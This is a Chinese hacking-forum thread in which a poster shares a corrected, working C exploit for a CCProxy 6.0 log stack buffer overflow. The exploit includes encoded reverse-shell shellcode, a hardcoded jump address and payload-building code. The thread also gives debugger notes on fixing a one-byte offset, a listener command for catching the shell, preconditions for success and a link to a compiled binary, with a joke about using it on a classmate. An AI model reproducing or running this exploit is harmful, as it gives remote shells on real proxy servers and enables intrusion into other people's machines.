发新话题
打印

[讨论]再次分析CCproxy Log Stack Buffer Overflow Exploit的收获

[讨论]再次分析CCproxy Log Stack Buffer Overflow Exploit的收获

文章作者:sunlion [E.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
PS:目的在于给和我一样菜的菜鸟们一些帮助,没有什么好写的就不发原创了,就发到这里吧!
  这个分析笔记主要记录我分析EXP的一些过程细节,高手请跳过。
  今天无聊的时候再次分析CCproxy Log Stack Buffer Overflow Exploit这个EXP,
终于明白我以前测试为什么总是不成功了,开心:)。写出来希望对一些和我一样菜的兄弟们有所帮助。
  EXP地址:http://www.eviloctal.com/forum/r ... amp;keyword=CCPROXY
  由于大家都是转载,所以贴子里面存在多处错误,比如:”\“ ”[I]“都被过滤掉了,所以在编译才时候出了很多错误,请允许我把修改后的贴子贴出来,这个EXP主要是Ruder写的,再次感谢Ruder。
我修改后的EXP:
复制内容到剪贴板
代码:
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib, "ws2_32")

//大家对比一下就知道了转载的贴是把shellcode里面”\“都过滤掉了,我都补回来了,好辛苦:)
unsigned char EndChar[]=
"\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x0D\x0A";
// HTTP/1.0

unsigned char shellcode[] =
"\xeb\x0e\x5b\x4b\x33\xc9\xb1\xfe\x80\x34\x0b\xee\xe2\xfa\xeb\x05"

"\xe8\xed\xff\xff\xff"

/* 254 bytes shellcode, xor with 0xee */
/* offset 92=IP offset 99=PORT*/
"\x07\x36\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x96\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xed\xb7\x06\x8e\xee\xee\xee\x0c\x17\xbf\xbf\xbf\xbf\x84\xef"
"\x84\xec\x11\xb8\xfe\x7d\x86\x91\xee\xee\xef\x86\xec\xee\xee\xdb"
"\x65\x02\x84\xfe\xbb\xbd\x11\xb8\xfa\x6b\x2e\x9b\xd6\x65\x12\x84"
"\xfc\xb7\x45\x0c\x13\x88\x29\xaa\xca\xd2\xef\xef\x7d\x45\x45\x45"
"\x65\x12\x86\x8d\x83\x8a\xee\x65\x02\xbe\x63\xa9\xfe\xb9\xbe\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\x11\xb8\xf6\x11\xb8\xe6\xbf\xb8\x65\x9b\xd2\x65\x9a\xc0"
"\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7\xaf\x43\xed\x2b"
"\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3\xed\x34\xae\x05"
"\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88\x65\xe2\xa5\x65"
"\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7\x2d\x06\xcd\x11"
"\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20\x0e\x8e\x43\x37"
"\xeb\x20\x37\xe7\x1b\x43\x02\x17\x44\x8e\x09\x97\x28\x97";

/*

+------------------------------------------------------------------------------+
| |inc edx...inc edx|shellcode|0x7ffa54cd| | |
+------------------------------------------------------------------------------+
  +0x42 +shellcode +IPLen( IP )=4065

:
mov ecx,0x12811111
shr ecx,0x14
sub esp,ecx
jmp esp

      
1.
2. ecx inc edx
*/

void start(void)
{
printf("CCProxy Log Stack Overflow Exploit!\n");
printf("written by Ruder 11/2004\n");
printf("Bug found by Isno,See xfocus.com\n");
printf("Homepage:[url]http://ruder.cdut.net[/url]\n");
printf("E-mail:cocoruder@163.com\n");
   printf("Modify By SunLion[EST]\n");
   //SunLion[EST]提示:保留原作者信息是对作者的尊重,哈哈,再次感谢 Ruder AND Isno
}

int main(int argc, char *argv[])
{
WSADATA wsd;
SOCKET sClient;
int ret, i,tmp;
struct sockaddr_in server,local;
struct hostent *host = NULL;
int IPLen;
int a;
char buff[4096] = {0};
char *IPStr;
u_short tmp1;
char *PORTStr;

start();

if(argc != 5)
{
printf("usage: %s target port backIP backPort\n", argv[0]);
exit(1);
}

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!\n");
return 1;
}

sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %d\n", WSAGetLastError());
return 1;
}

// shellcode ,
tmp=inet_addr(argv[3]);
a=(DWORD)&tmp; //
IPStr=(char*)a;

shellcode[92]=IPStr[0]^0xee; //IP
shellcode[93]=IPStr[1]^0xee;
shellcode[94]=IPStr[2]^0xee;
shellcode[95]=IPStr[3]^0xee;

tmp1=htons((u_short)atoi(argv[4]));
a=(DWORD)&tmp1;
PORTStr=(char*)a;

shellcode[99]=PORTStr[0]^0xee; //PORT
shellcode[100]=PORTStr[1]^0xee;

server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if (server.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if (host == NULL)
{
printf("Unable to resolve server: %s\n", argv[1]);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length);
}

//
if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
{
printf("connect() failed: %d\n", WSAGetLastError());
return 1;
}

//
a=sizeof(sockaddr_in);

// IP
if (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR)
{
printf("getsockname() failed: %d\n", WSAGetLastError());
return 1;
}
IPLen=strlen(inet_ntoa(local.sin_addr));


//前导字符
buff[0]=0xcd;
buff[1]=0x45;
buff[2]=0x54;
buff[3]=0x20;
buff[4]=0x2F;
//填充INC EDX
//计算填充0x42的个数
tmp=4065-sizeof(shellcode)-5-IPLen+1;
for(i=5;i<tmp+5;i++)
{
buff[i]=0x42;//大家对比一下就发现原来[i]是不是都被过滤掉了呢?
}

CopyMemory(&buff[i],shellcode,sizeof(shellcode)-1);//这里的[i]也补回来了
i=i+sizeof(shellcode)-1;
//覆盖EBP,0x7ffa4512,jmp esp addr for all CN win2000,winxp,win2003
buff[i]=0x12;//这里的[i]也补回来了
buff[i+1]=0x45;
buff[i+2]=0xFA;
buff[i+3]=0x7F;

i=i+4;
//跳转指令
buff[i++]=0xB9;
buff[i++]=0x11;
buff[i++]=0x11;
buff[i++]=0x81;
buff[i++]=0x12;
buff[i++]=0xC1;
buff[i++]=0xE9;
buff[i++]=0x14;
buff[i++]=0x2B;
buff[i++]=0xE1;
buff[i++]=0xFF;
buff[i++]=0xE4;

//结束字符
CopyMemory(&buff[i],EndChar,sizeof(EndChar));//这里的[i]也补回来了
i=i+sizeof(EndChar);

ret=send(sClient,buff,i-1,0);

printf("send... buffer ok!good luck!\n");

closesocket(sClient);
WSACleanup();
return 0;
}
编译环境:XP SP2+VC6.0 其中CCproxy版本6.0 运行CCPROXY的系统为2K,xp sp2
测试成功获得SHELL。(2003没有测试,不过应该也可以,因为JMP EBP 地址都一样)
下面我说一下要成功EXP需要的三个前提条件:
第一:CCPROXY必须通过你的WEB代理验证,如果对方不允许你访问它的代理,那么你就无法对CCPROXY
进行LOG STACK里面写数据也就无法溢出了。
第二:CCPROXY 的[帐号]里面的 [允许范围]必须是 允许所有
要么你也是无法使用上面的代码成功溢出的(下面我将提到为什么必须是允许所有)。
第三:溢出的端口必须是对方的HTTP代理的端口(CCPROXY默认是808),因为我们构造的数据溢出主要就是针对WEB代理的LOG形式进行的数据填充的,如果是别端口比如23什么的那么你就必须自己从新计算调整填充的数据长度了。
对于第一个条件我已经说得很清楚了吧,对于第二个原因如下:
因为作者在写这个EXP的时候,主要针对的情况也是这种情况: [帐号]里面的 [允许范围]
必须是 允许所有。
大家可以阅读 Ruder 写的 《CCProxy Log Stack Overflow 漏洞浅析》
给个参考地址:http://sunlion.3322.org/show.asp?sunid=238
从文章中我们可以到这里:
初步分析在要执行_sprintf函数时堆栈的情况如下
esp ;目标缓冲区A---日志内容
esp+0x4 ;"[%s] %s"
esp+0x8 ;日期-时间字符串地址
esp+0xc ;"访问者IP"+" unknown Web"
;比如我的IP是127.0.0.1就是
;Point to "127.0.0.1 unknown Web"
esp+0x10 ;和esp+0x8一样?
esp+0x14 ;Point to "%04d-%02d-%02d %02d:%02d:%02d"
esp+0x18 ;年
esp+0x1c ;月
esp+0x20 ;日
esp+0x24 ;时
esp+0x28 ;分
esp+0x2c ;秒

大家看到了么?里面提到的是  [127.0.0.1 unknown Web]这种对于CCPROXY来说,[允许范围]就是 允许所有 的。
由于EXP 和Ruder 在文章中都没有说,所以很多菜鸟(我是其中一个)以前测试总是不成功,原因就是这样。
也只有这样你才有可能对CCPROXY进行访问,要么你就无法实现第一个条件,所以虽然作者没有说,
但是已经暗示我们了,只是我们当时没有弄清楚这个漏洞罢了,所以也就怪不了作者了哦,哈哈,是我们自己笨!

有利用价值的东西已经说完,下面是我利用OD分析的一些发现:

假如我们的 [帐号]里面的 [允许范围] 设置为:允许部分 然后 [验证形式]设置为 IP地址,然后[新建]一个帐户
比如:我们设置允许访问的IP为 192.168.0.1 然后进行测试。
在192.168.0.2的机器上利用OD加载CCPROXY6.0,按F9运行(等运行稳定后)接着进行如下操作,
首先NC -l -p 1234,然后
把我们编译好的EXP拿出来在CMD下输入:CCPEXP 192.168.0.2 808 192.168.0.1 1234
这个时候OD就提示
”不知道如何继续进行,fa451297内存是不易读取的,请试图修改EIP,或者通过例外执行程序“
大家认真观察 FA4512是不是很面熟?
请看程序里面的这里:
复制内容到剪贴板
代码:
CopyMemory(&buff[i],shellcode,sizeof(shellcode)-1);//这里的[i]也补回来了
i=i+sizeof(shellcode)-1;
//覆盖EBP,0x7ffa4512,jmp esp addr for all CN win2000,winxp,win2003
buff[i]=0x12;//这里的[i]也补回来了
buff[i+1]=0x45;
buff[i+2]=0xFA;
buff[i+3]=0x7F;
哈哈,发现了吧,这个FA4512就是里面的JMP地址的部分,但是不是完整JMP:7FFA4512,而是把前面的7F漏掉了
在后面补上了97,在看看在
复制内容到剪贴板
代码:
buff[i]=0xCD
这个之前是什么?
复制内容到剪贴板
代码:
CopyMemory(&buff[i],shellcode,sizeof(shellcode)-1)
把shellcodecopy的buff里面,那看看97会不会是shellcode里面的呢?
复制内容到剪贴板
代码:
unsigned char shellcode[] =
"\xeb\x0e\x5b\x4b\x33\xc9\xb1\xfe\x80\x34\x0b\xee\xe2\xfa\xeb\x05"

"\xe8\xed\xff\xff\xff"

/* 254 bytes shellcode, xor with 0xee */
/* offset 92=IP offset 99=PORT*/
"\x07\x36\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x96\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xed\xb7\x06\x8e\xee\xee\xee\x0c\x17\xbf\xbf\xbf\xbf\x84\xef"
"\x84\xec\x11\xb8\xfe\x7d\x86\x91\xee\xee\xef\x86\xec\xee\xee\xdb"
"\x65\x02\x84\xfe\xbb\xbd\x11\xb8\xfa\x6b\x2e\x9b\xd6\x65\x12\x84"
"\xfc\xb7\x45\x0c\x13\x88\x29\xaa\xca\xd2\xef\xef\x7d\x45\x45\x45"
"\x65\x12\x86\x8d\x83\x8a\xee\x65\x02\xbe\x63\xa9\xfe\xb9\xbe\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\x11\xb8\xf6\x11\xb8\xe6\xbf\xb8\x65\x9b\xd2\x65\x9a\xc0"
"\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7\xaf\x43\xed\x2b"
"\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3\xed\x34\xae\x05"
"\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88\x65\xe2\xa5\x65"
"\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7\x2d\x06\xcd\x11"
"\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20\x0e\x8e\x43\x37"
"\xeb\x20\x37\xe7\x1b\x43\x02\x17\x44\x8e\x09\x97\x28\x97";
大家看到了么?97正好是shellcode里面的最后一个字节!
啊这下明白了,也就是说我们在覆盖EBP的时候出错了,篡位了一个字节,为什么呢?
大家在认真想一想看看是哪里出了错,看看我 这样设置和原始设置为什么不同?
不同的地方就在于 [允许范围]对吧,于是我想到了估计是我们写数据的时候多了一个字节,
结果造成覆盖EBP地址出错,那现在我们对比一下两种情况的LOG文件,
打开CCPROXY安装目录下的LOG文件,找到LOG文件:

第一种情况:
[2006-05-11 08:39:27] 192.168.0.1 unknown Web GET 后面省略

第二种情况:
[2006-05-11 09:39:27] 192.168.0.1 User-001 Web GET 后面省略

大家数一下第一种情况的unknown是不是7个字节,再数一下User-001是不是8个字节,这下大家明白,为什么
覆盖EBP出错了吧,哈哈!(CCPROXY里面默认的帐户形式是User-???)
那针对这种情况我们是不是就不能溢出了呢?那当然可以修改一下覆盖的数据长度就可以了对吧。
(虽然这种情况利用的范围不大,或者说根本没有什么利用价值,但是假如你想对给你开代理的同学开玩笑的话,那就有利用价值了)
对于EXP其他地方不需要动,修改下面这里就OK。
复制内容到剪贴板
代码:
for(i=5;i<tmp+4;i++) //原来是for(i=5;i<tmp+5;i++),为什么这么修改?我想你应该明白了吧
{
buff[i]=0x42;//大家对比一下就发现原来[i]是不是都被过滤掉了呢?
}
修改完已经,编译,测试,成功了!
OD已经不提示错误,检查NC窗口,成功返回了SHELL。

把这个笔记写下来希望对和我在学习EXP的兄弟有所帮助,谢谢!
垃圾一个,00...

TOP

假如你添加的帐号名不是CCPROXY默认的User-XXX,而是你自己起名字的话,那么你就自己计算一下长度,然后修改这里要添的数据长度:)
复制内容到剪贴板
代码:
for(i=5;i<tmp+4;i++) //原来是for(i=5;i<tmp+5;i++),为什么这么修改?我想你应该明白了吧
{
buff[i]=0x42;//大家对比一下就发现原来[i]是不是都被过滤掉了呢?
}
垃圾一个,00...

TOP

我编译了一个大家可以下载测试:
说明:
要成功使用这个EXP必须满足一下三个条件:
第一:CCPROXY必须通过你的WEB代理验证,如果对方不允许你访问它的代理,那么你就无法对CCPROXY
进行LOG STACK里面写数据也就无法溢出了。
第二:CCPROXY 的[帐号]里面的 [允许范围]必须是 允许所有
要么你也是无法使用上面的代码成功溢出的
至于为什么可以阅读这个贴《再次分析CCproxy Log Stack Buffer Overflow Exploit的收获》
地址:http://sunlion.3322.org/show.asp?sunid=240
第三:溢出的端口必须是对方的HTTP代理的端口(CCPROXY默认是808),因为我们构造的数据溢出主要就是针对WEB代理的LOG形式进行的数据填充的,如果是别端口比如23什么的那么你就必须自己从新计算调整填充的数据长度了。
F:\wwwroot>ccp6exp
CCProxy6.0 Log Stack Overflow Exploit!
written by Ruder 11/2004
Bug found by Isno,See xfocus.com
Homepage:http://ruder.cdut.net
E-mail:cocoruder@163.com
Modify By SunLion[EST] http://sunlion.3322.org
usage: ccp6exp target port backIP backPort
port---must be the http proxy port,e.g 808


下载地址:http://sunlion.3322.org/blogsoft/20065157332788035.rar
垃圾一个,00...

TOP

发新话题